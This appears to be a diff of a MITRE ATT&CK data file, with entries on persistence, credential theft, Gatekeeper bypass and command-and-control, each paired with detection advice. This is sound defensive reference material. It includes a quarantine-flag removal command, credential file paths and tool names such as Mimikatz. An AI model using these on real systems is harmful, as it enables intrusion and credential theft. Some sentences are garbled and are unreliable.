"mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1131", + "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", + "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + ], + "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d" + }, + "value": "Authentication Package" + }, + { + "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Authentication logs, Binary file metadata", + "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Network protocol analysis", + "File monitoring", + "Authentication logs", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1108", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ], + "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + "value": "Redundant Access" + }, + { + "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available[[Citation: Black Hat 2015 App Shim]]:\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Loaded DLLs", + "System calls", + "Windows Registry", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1138", + "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf" + ], + "uuid": "1e16e6fe-c0d9-4d9a-b112-9ac5ce3bdfdc" + }, + "value": "Application Shimming" + }, + { + "description": "Adversaries may steal the credentials of a specific user or service account using [[Credential Access]] techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.[[Citation: TechNet Credential Theft]]\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise.[[Citation: TechNet Audit Policy]] Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator", + "meta": { + "mitre_data_sources": [ + "Authentication logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1078", + "https://technet.microsoft.com/en-us/library/dn487457.aspx", + "https://technet.microsoft.com/en-us/library/dn535501.aspx" + ], + "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81" + }, + "value": "Valid Accounts" + }, + { + "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs\n\nContributors: John Strand", + "meta": { + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1110", + "http://www.blackhillsinfosec.com/?p=4645", + "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", + "https://en.wikipedia.org/wiki/Password%20cracking" + ], + "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd" + }, + "value": "Brute Force" + }, + { + "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check[[Citation: Methods of Mac Malware Persistence]]. The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app [[Citation: Clearing quarantine attribute]][[Citation: OceanLotus for OS X]].\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application [[Citation: Bypassing Gatekeeper]].\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: MacOS, OS X", + "meta": { + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1144", + "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", + "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + ], + "uuid": "05886665-fc7e-4a3d-847f-500e0112aac7" + }, + "value": "Gatekeeper Bypass" + }, + { + "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.[[Citation: External to DA, the OS X Way]]\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1139", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ], + "uuid": "2f54ae97-ac8b-4401-85ed-215cfa0a380f" + }, + "value": "Bash History" + }, + { + "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Sensor health and status, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Sensor health and status", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1054" + ], + "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df" + }, + "value": "Indicator Blocking" + }, + { + "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information [[Discovery]] or [[Lateral Movement]], which could be used as event indicators that point to the source file.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X", + "meta": { + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1009" + ], + "uuid": "519630c5-f03f-4882-825c-3af924935817" + }, + "value": "Binary Padding" + }, + { + "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API.[[Citation: MSDN Clipboard]] \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents [[Citation: Operating with EmPyre]].\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring", + "meta": { + "mitre_data_sources": [ + "API monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1115", + "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/", + "https://msdn.microsoft.com/en-us/library/ms649012" + ], + "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + "value": "Clipboard Data" + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers.[[Citation: Wikipedia File Header Signatures]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1002", + "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" + ], + "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + "value": "Data Compressed" + }, + { + "description": "Credential dumping is the process of obtaining account login and password information from the operating system and software. Credentials can be used to perform Windows Credential Editor, Mimikatz, and gsecdump. These tools are in use by both professional security testers and adversaries.\n\nPlaintext passwords can be obtained using tools such as Mimikatz to extract passwords stored by the Local Security Authority (LSA). If smart cards are used to authenticate to a domain using a personal identification number (PIN), then that PIN is also cached as a result and may be dumped.Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective DLL Injection to reduce potential indicators of malicious activity.\n\nNTLM hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,[[Citation: Powersploit]] which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring, PowerShell logs, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "PowerShell logs", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1003", + "https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa", + "https://github.com/mattifestation/PowerSploit" + ], + "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + "value": "Credential Dumping" + }, + { + "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network", + "meta": { + "mitre_data_sources": [ + "Authentication logs", + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1114" + ], + "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + "value": "Email Collection" + }, + { + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Malware reverse engineering", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1008", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433" + }, + "value": "Fallback Channels" + }, + { + "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10", + "meta": { + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1109" + ], + "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44" + }, + "value": "Component Firmware" }, { "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", @@ -586,11 +3370,36 @@ "value": "Input Capture" }, { - "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.[[Citation: MSDN Regsvcs]][[Citation: MSDN Regasm]]\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith", + "description": "Per Apple’s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron[[Citation: AppleDocs Scheduling Timed Jobs]].\n\n===Launchd===\n\nEach Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called StartCalendarInterval with a dictionary of time values [[Citation: AppleDocs Scheduling Timed Jobs]]. This only works on macOS and OS X.\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab while per-user cron jobs are installed using crontab with specifically formatted crontab files [[Citation: AppleDocs Scheduling Timed Jobs]]. This works on Mac and Linux systems.\n\nBoth methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence[[Citation: Janicab]][[Citation: Methods of Mac Malware Persistence]][[Citation: Malware Persistence on OS X]], to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, MacOS\n\nData Sources: File monitoring, Process Monitoring", "meta": { "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "MacOS" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1168", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", + "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html" + ], + "uuid": "03405462-89b4-4b9a-bf60-76fbd75b82a4" + }, + "value": "Cron Job" + }, + { + "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]] Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" ], "mitre_platforms": [ "Windows Server 2003", @@ -604,57 +3413,61 @@ "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Windows 10" + "Linux", + "Windows 10", + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1121", - "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", - "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", - "https://github.com/subTee/AllTheThings" + "https://attack.mitre.org/wiki/Technique/T1026", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" ], - "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302" + "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091" }, - "value": "Regsvcs/Regasm" + "value": "Multiband Communication" }, { - "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.[[Citation: MSDN MSBuild]] \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.[[Citation: MSDN MSBuild Inline Tasks]] MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.[[Citation: SubTee GitHub All The 